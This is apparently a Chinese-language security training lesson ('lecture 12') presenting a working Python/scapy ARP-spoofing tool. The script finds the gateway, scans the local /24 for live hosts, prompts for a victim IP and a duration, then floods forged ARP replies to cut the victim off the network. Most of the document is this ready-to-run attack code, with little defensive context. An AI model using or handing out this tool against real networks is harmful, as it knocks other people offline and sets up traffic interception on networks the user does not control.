T3SEC —–第十二讲:阻网小军刀

{% meting "2111364820" "tencent" "playlist" "theme:#FF4081" "mode:circulation" "mutex:true" "listmaxheight:200px" "preload:auto" "autoplay" %}

实战自编阻网小军刀/木马/蠕虫

岗位:

  • 等保测评-网络安全,系统安全,web渗透工具.对数据库,网络等的渗透攻防
  • 安全运维-网络系统维护,保护防止黑客攻击. 网络安全,系统安全 web渗透,渗透实战
  • 渗透测试-模拟黑客攻击,挖掘漏洞,隐患 并提出意见.web安全编程,web渗透,渗透实战,python黑帽子
  • 攻防工程师-黑帽子,白帽子.网络安全 ,系统安全,web安全,web渗透,黑白帽子

本案例涉及知识及技能:

  • 网络技术
  • 内网渗透
  • 数据包和头部定义
  • 实用编程语言-python

适合人群:

  • python基本语法
  • 操作系统命令
  • 网络基本认知/二层/三层概念
#实现思路:攻击网络中的指定ip实现断网-ARP
#原理:通过扫描当前攻击机的ip地址得到内网的所有ip所在网关
#选择需要攻击的ip,组成ARP数据包,对王馆内的主机先发起ping,有主机存活
#获得存活列表.选择需要攻击的ip,发起攻击
#步骤:
#1:获得当前ip及网关 route print
#2:封装ARP数据包以以太网的包结构形式来发起ping操作,得到存活主机列表
#3:得到存活主机列表
#4:选择攻击或阻网的ip
#5:ARP攻击 (封包/发包)-->> 代理,抓包
#6:设置攻击时长

import os
import time
from scapy.all import *
# pip install scapy
def scan2spoof():
    netcard = 'Realtek PCIe GBE Family Controller'#攻击的网卡
    cmdcode = "route print"
    #执行cmd命令,获得当前主机ip和网关

    for line in os.popen(cmdcode):
        #通过line获得ipv4和网关
        s = line.strip()
        if s.startswith('0.0.0.0'):
            iplist = s.split()
            ip = iplist[3]#当前ip
            gw = iplist[2]#网关
            # print(ip)
            # print(gw)
            break
    print("使用的网卡是:{}".format(netcard))
    print("本机的上网ip是:{}".format(ip))
    print("本机的上网网关:{}".format(gw))

    #封装一个ARP的数据包,符合以太网的包定义
    arppk = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=gw+"/24")
    ansip,unansip = srp(arppk,iface=netcard,timeout=2,verbose=0)
    print("扫描到{}台在线主机".format(len(ansip)))
    print("扫描到{}台不在线主机".format(len(unansip)))

    ansresip=[]
    for s,r in ansip:
        ansresip.append([r.psrc,r.hwsrc])#ip,mac
    ansresip.sort()#去重排序
    for ip,mac in ansresip:
        print(ip,"------>",mac)

    #代理/抓包
    #阻断网络
    vip=input("请输入需要攻击的ip:")
    ttl=int(input("请输入需要攻击的时间(秒):"))

    #以下实现arp攻击即可

    for i  in range(ttl*5):
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=vip,psrc=gw),verbose=0)
        sendp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=gw,psrc=vip),verbose=0)
        time.sleep(0.2)
    print("对{}的ARP攻击完成".format(vip))

if __name__ =='__main__':
    scan2spoof()


Q.E.D.